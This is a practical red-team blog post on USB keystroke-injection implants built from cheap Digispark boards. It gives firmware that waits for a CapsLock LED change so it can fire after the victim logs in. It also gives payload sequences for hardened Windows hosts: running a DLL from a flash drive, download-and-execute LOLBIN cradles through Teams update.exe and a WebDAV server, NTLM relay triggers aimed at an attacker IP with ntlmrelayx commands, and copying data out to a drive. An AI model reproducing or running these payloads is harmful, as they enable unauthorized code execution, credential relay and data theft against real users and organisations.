# TL;DR
```c
STRING "powershell.exe -c iex ..."
```
This post highlights some easy-to-use USB keystroke injection techniques in hardened environments that can be replicated on a 3$ Digispark board.
# intro
The Rubber Ducky is around 10-11 years old now, and in that time numerous different variants of BadUSB attacks have been developed. When researching the topic, however, it became apparent that most articles and tutorials provide only brief examples of actual post-exploitation, focusing instead on building the hardware implant itself.
This post is meant to highlight the *practical* use of USB keystroke injection, especially in hardened/restricted environments.
**sidenote:** prerequisites
Almost anything with a USB port can be turned into an implant, and there are numerous other posts and articles proving that. For simplicity's sake, I will use Digispark ATTiny85 for dumber payloads, and will provide links to specialized hardware/GitHub repositories for smarter stuff.
This means that the entry level for this post is about 2-3$.
# part ø. the basics
The Digispark payload template is as simple as it gets:
>**digispark_example.ino**
>```c
>#include "DigiKeyboard.h"
void setup() {
}
>
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500); // start pressing buttons
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("notepad");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
>
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for (;;) { // stop pressing buttons
/*empty*/
}
}
This is a bare-bones example of running a command with Win+R, something that 95% of payloads do. It works (after [[http://digistump.com/wiki/digispark/tutorials/connecting|setting everything up]]) on an unlocked Windows PC, and is pretty self-explanatory.
It is also the part when most articles about keystroke injection end. Most payload repositories (like [[https://github.com/CedArctic/DigiSpark-Scripts|this one]]) do not go far beyond downloading and running a powershell script with the template above. I tried to complicate this a little bit.
# part i. complicating the implant
**CapsLock and locked PCs**
The most obvious problem is obtaining physical access to an unlocked PC. Locked ones are usually easier to get close to, the only issue being that the implant needs some way to run its payload when the victim eventually logs in.
The basic options here are:
1. Find a way to tell when the PC is unlocked
2. Find a way to tell the implant when to run
3. Run the payload periodically
#3 is too loud and suspicious, #2 requires a way for the *attacker* to know when PC is unlocked, which is not always the case. But how can a *keyboard* tell when the user logins?
It may be a widespread fact, but I only recently found out that keyboards synchronize their CapsLock/NumLock/ScrollLock LED status. This means that the implant can wait for an LED update and thus determine when the user is logged in (under the assumption that people still use CapsLock and do not randomly press it on locked workstations for no reason).
DigiKeyboard does not process these updates, but TrinketKeyboard from Adafruit works perfectly on the Digispark board:
>**digispark_capslock.ino**
>```c
>#include <TrinketKeyboard.h>
>
void setup() {
TrinketKeyboard.begin();
}
>
void loop() {
int caps = (TrinketKeyboard.getLEDstate() & 0x02) != 0;
>
if (caps != 0) {
TrinketKeyboard.pressKey(0, 57);
TrinketKeyboard.pressKey(0, 0);
> // yes I didn't write
> // a routine to do this, fight me
TrinketKeyboard.pressKey(KEYCODE_MOD_LEFT_GUI, KEYCODE_R); // MOD_LEFT_GUI + KEYCODE_R
TrinketKeyboard.pressKey(0, 0);
TrinketKeyboard.pressKey(0, KEYCODE_N);
TrinketKeyboard.pressKey(0, 0);
TrinketKeyboard.pressKey(0, KEYCODE_O);
TrinketKeyboard.pressKey(0, 0);
TrinketKeyboard.pressKey(0, KEYCODE_T);
TrinketKeyboard.pressKey(0, 0);
TrinketKeyboard.pressKey(0, KEYCODE_E);
TrinketKeyboard.pressKey(0, 0);
TrinketKeyboard.pressKey(0, KEYCODE_P);
TrinketKeyboard.pressKey(0, 0);
TrinketKeyboard.pressKey(0, KEYCODE_A);
TrinketKeyboard.pressKey(0, 0);
TrinketKeyboard.pressKey(0, KEYCODE_D);
TrinketKeyboard.pressKey(0, 0);
TrinketKeyboard.pressKey(0, KEYCODE_ENTER);
TrinketKeyboard.pressKey(0,0);
for (;;) {
delay(5);
}
}
TrinketKeyboard.poll();
}
**OS detection**
Usually, payloads are written for a specific OS, as the keyboard does not have a way to determine what OS is connected to it. However, limited fingerprinting is still possible. The first example can be found in the https://github.com/keyboardio/FingerprintUSBHost repo, where difference between descriptor request length is used:
```c
...
if (setup.wLength == 0xff) {
guess.maybe_linux = 1;
guess.maybe_win = 1;
guess.not_mac = 1; // In testing, MacOS NEVER sets a descript request lenght of 255
} else {
guess.not_linux = 1; // In testing, Linux ALWAYS sets a descriptor request length of 255;
}
...
```
Another example can be found in the https://github.com/krakrukra/PocketAdmin project (which also implements a composite USB device and extends DuckyScript with the CapsLock technique described above).
**composite USB devices**
Many advanced implants combine an emulated keyboard with a flash drive to deliver the payload. It's a complicated matter, but, for all practical purposes, it is indistinguishable from just plugging a spare flash drive into a USB hub.
To be honest, I suggest you do exactly that.
**USB proxies**
If external devices are forbidden, you can try using a hardware keylogger with keystroke injection capabilities. I won't cover them extensively, but the easiest to set up are:
- https://github.com/nesto-software/USBProxy + RPi 4B (no keystroke injection out-of-the-box, only logging)
- https://github.com/usb-tools/Facedancer + GreatFET One
# part ii. complicating the payload
Let's see what we can do with a keystroke injection payload, depending on how hardened the workstation is.
**0. the low-hanging fruit**
*external keyboards: allowed*
*external drives: allowed*
*powershell/cmd: allowed*
*users are admins*
*no applocker*
The easiest setup, where anything is possible. To help avoid network-level detection, the payload is served from a flash drive:
```powershell
# here and further payloads are in a sort of pseudocode
Win+R
powershell
Ctrl+Shift+Enter # run as admin (optional)
Left+Enter # UAC (optional)
$usbPath = GET-WMIObject Win32_Volume | ? { $_.Label -eq 'D'} | select name
Enter
cd $usbPath.name
Enter
rundll32.exe payload.dll,Run # run the payload
Enter
```
**1. no thumb drives or powershell for users**
*external keyboards: allowed*
*external drives: disallowed*
*powershell: disallowed*
*cmd: allowed*
This is where you use your favorite download+execute cradle or some other lolbin:
```j
# from basic
%localappdata%\Microsoft\Teams\update.exe --update=[url to nuget]
```
```j
# to more advanced combinations
# huge props to LOLBAS for existing btw
findstr /V /L stringthatisnotthere \\webdavserver\folder\test.xml > test.xml
findstr /V /L stringthatisnotthere \\webdavserver\folder\test.xoml > test.xoml
C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe test.xml results.xml`
```
**2. no commands**
*external keyboards: allowed*
*powershell/cmd: disallowed*
This is the point where execution becomes a little more challenging. Of course, it may still be possible to find a Win+R combination that'll execute code from a remote location, like `mshta` or `update.exe`, but these may still be locked out by defenders.
If testing for these does not succeed, it may be possible to turn to something else aside from execution. If we assume unauthenticated network access is possible (and if you can access the PC physically, then it probably is), keystroke injection may be used to facilitate a relay. IMO it's best to relay `HTTP -> LDAP` or `SMB -> AD CS` to begin enumerating the domain:
```j
# HTTP -> LDAP relay
# e.g.: ntlmrelayx -smb2support -t ldaps://dc.domain.local
Win
\\ip.addr.goes.here@80\share
```
```j
# SMB -> HTTP relay
# e.g.: ntlmrelayx.py -t http://ca.domain.com/certsrv/certfnsh.asp -smb2support --adcs
Win
\\ip.addr.goes.here\share
```
Alternatively, if flash drives are allowed, the attack could be used for exfiltration. This approach is very obvious, but may still be useful in an engagement:
```j
Win
C:\path\to\data
Ctl+A, Ctl+C
Win
D:\
Ctl+V
```
Alternatively, it may be possible to use a copy LOLBIN like `certreq` to copy to a remote location.
**3. no external keyboards**
Pretty self-explanatory. The solution is USBProxy/Facedancer + any of the above ¯\\_(ツ)_/¯
# credits
All links used in the post:
https://github.com/nesto-software/USBProxy
https://github.com/keyboardio/FingerprintUSBHost
https://github.com/krakrukra/PocketAdmin
https://github.com/usb-tools/Facedancer
https://github.com/CedArctic/DigiSpark-Scripts
also:
Digispark for the 2$ computer
lolbas-project for LOLBIN examples
RubberDucky for being an overpriced example everyone compares their hardware to